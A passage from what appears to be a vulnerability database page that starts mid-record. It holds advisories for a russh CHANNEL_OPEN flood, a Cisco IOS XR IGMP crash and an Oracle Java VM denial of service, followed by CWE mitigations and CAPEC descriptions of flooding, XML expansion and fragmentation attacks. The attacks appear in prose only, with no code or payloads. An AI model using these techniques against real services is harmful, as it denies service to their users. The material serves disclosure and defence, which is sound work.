bound. See `patch/rekey-message-cap.patch` (a ~10-line change local to\n  `Session::run`, validated in the lab \u2014 the attack leg is disconnected after the\n  cap and RSS stays flat; a normal rekey, which completes in one round trip, is\n  unaffected).\n- bound / deferred-buffer channel messages during a rekey using the existing\n  (currently dead) `pending_reads`/`pending_len` machinery, with a hard cap.\n- bound the number of in-flight channel opens per connection and reject beyond it.\n\nOpenSSH does not service new channels mid-kex; matching that intent closes the\nwhole family.",
  "id": "GHSA-35g8-35p8-c8fw",
  "modified": "2026-09-30T23:40:43Z",
  "published": "2026-09-30T23:40:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-35g8-35p8-c8fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102821"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/a282af361ac99bc76b80876d1aae128e89dbf66b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.63.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Russh: Unbounded memory exhaustion via CHANNEL_OPEN flood during a client-stalled rekey"
}

GHSA-35GG-5CVH-W445

Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2025-10-22 00:31
VLAI
Details

Multiple vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to either immediately crash the Internet Group Management Protocol (IGMP) process or make it consume available memory and eventually crash. The memory consumption may negatively impact other processes that are running on the device. These vulnerabilities are due to the incorrect handling of IGMP packets. An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to immediately crash the IGMP process or cause memory exhaustion, resulting in other processes becoming unstable. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address these vulnerabilities.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-23T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to either immediately crash the Internet Group Management Protocol (IGMP) process or make it consume available memory and eventually crash. The memory consumption may negatively impact other processes that are running on the device. These vulnerabilities are due to the incorrect handling of IGMP packets. An attacker could exploit these vulnerabilities by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to immediately crash the IGMP process or cause memory exhaustion, resulting in other processes becoming unstable. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address these vulnerabilities.",
  "id": "GHSA-35gg-5cvh-w445",
  "modified": "2025-10-22T00:31:58Z",
  "published": "2022-05-24T17:29:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3569"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3569"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35M7-CQFX-W4JW

Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32
VLAI
Details

Vulnerability in the Java VM component of Oracle Database Server. Supported versions that are affected are 19.3-19.23, 21.3-21.14 and 23.4. Difficult to exploit vulnerability allows low privileged attacker having Create Session, Create Procedure privilege with network access via Oracle Net to compromise Java VM. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java VM. CVSS 3.1 Base Score 3.1 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:21Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in the Java VM component of Oracle Database Server.  Supported versions that are affected are 19.3-19.23, 21.3-21.14 and  23.4. Difficult to exploit vulnerability allows low privileged attacker having Create Session, Create Procedure privilege with network access via Oracle Net to compromise Java VM.  Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java VM. CVSS 3.1 Base Score 3.1 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L).",
  "id": "GHSA-35m7-cqfx-w4jw",
  "modified": "2024-07-17T00:32:55Z",
  "published": "2024-07-17T00:32:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21174"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.